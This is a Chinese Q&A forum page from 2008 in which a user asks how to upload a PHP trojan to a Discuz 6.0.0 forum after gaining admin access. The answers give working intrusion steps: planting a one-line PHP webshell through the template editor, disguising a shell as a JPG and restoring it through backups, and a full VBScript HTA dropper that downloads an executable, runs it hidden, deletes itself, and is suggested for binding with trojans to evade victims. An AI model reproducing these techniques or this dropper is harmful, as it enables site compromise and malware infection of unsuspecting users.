discuz 6.0.0 怎么样上传木马

拿到后台权限可以登陆后台了,怎么样才能上传个PHP的木马呢?嘿嘿,我检查我自己论坛的安全漏洞。新手,不要笑俺!我已经直接上传PHP的文件了,可是找不到路径。无法在前台打开... 拿到后台权限可以登陆后台了,怎么样才能上传个PHP的木马呢?
嘿嘿,我检查我自己论坛的安全漏洞。新手,不要笑俺!

我已经直接上传PHP的文件了,可是找不到路径。无法在前台打开。
后台管理里面显示的是 怎么样找到实际路径?bbs/attachments/month_0810/20081006_763e18df4ba02425a3d6f4ETASYcx5e4.attach
展开
 我来答
hackerpsj
2008-10-10 · TA获得超过303个赞
知道小有建树答主
回答量:299
采纳率:0%
帮助的人:245万
展开全部
哎,又要教坏孩衫如顷子了,虽然我也是啊,呵呵,告诉你把,在discuz的后台有个模板编辑,在里面写入php的一句话小马,之后访问那个文件,(就是修改模板里面的那个文件)进了小马之后再传大马,最或陆近一定要把改的那个文件在模板编辑里改回去的,不然的话别橡悄人一访问就看到你的小马了啊
AiPPT
2024-09-19 广告
作为北京饼干科技有限公司的工作人员,关于AIPPT免费生成PPT的功能,我可以简要介绍如下:AIPPT是一款基于人工智能技术的PPT制作工具,它为用户提供了免费生成PPT的便捷服务。用户只需简单输入PPT的主题或内容大纲,AIPPT便能智能... 点击进入详情页
本回答由AiPPT提供
vousaimeto
2008-10-06 · TA获得超过142个赞
知道答主
回答量:240
采纳率:0%
帮助的人:93.5万
展开全部
试试备份系统,看看能不能传,
把马改成jpg模式,上带磨传了,
然后备份,就能还原成php,
我已经好久没搞了,不知蠢悄斗道这个运坦方法还行不行,
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
wangjunqing789
2008-10-06 · TA获得超过1080个赞
知道小有建树答主
回答量:513
采纳率:0%
帮助的人:355万
展开全部
一。名字为abc.abc的文件

<html>
<script language="vbscript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.respomseBody
Savefile HttpDoGet,"c:\win.exe"
End If
Set oReq=nothing
End Function
sub SaveFile(str.fName)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type =1
objStream.Open
objStream.write str
objStream.SaveToFile fName.2
objStream.Close()
set objStream = nothing
exewin()
End sub
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.exe",0)
b=wshshell.run ("cmd.exe /咐慧c del c:\win.hta",0)
window.close
End Sub
HttpDoGet "http://127.0.0.1/test.exe"
</script>
</html>

打开一个文本文档,把代码上上去存储就可以了,常见的四种代码我都有,看你需要什么了。上去了就直接存,或衡仔答者通windows自带的木马捆绑器进行木马捆绑 对方不易发现~~~路径就不用找了,你要找到的话说一声,看你需要什么戚和了!
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
So_mage
2008-10-06 · TA获得超过353个赞
知道小有建树答主
回答量:622
采纳率:0%
帮助的人:373万
展开全部
一棚模慎般是做jpg文件模式啦.

上传成功的时候注意下地址栏变化.

其码差实,有时候多试几次......也会链敬行
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
lbac10
2008-10-06 · TA获得超过197个赞
知道答主
回答量:102
采纳率:0%
帮助的人:0
展开全部
兄弟,出来混早晚要还得!
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 更多回答(6)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式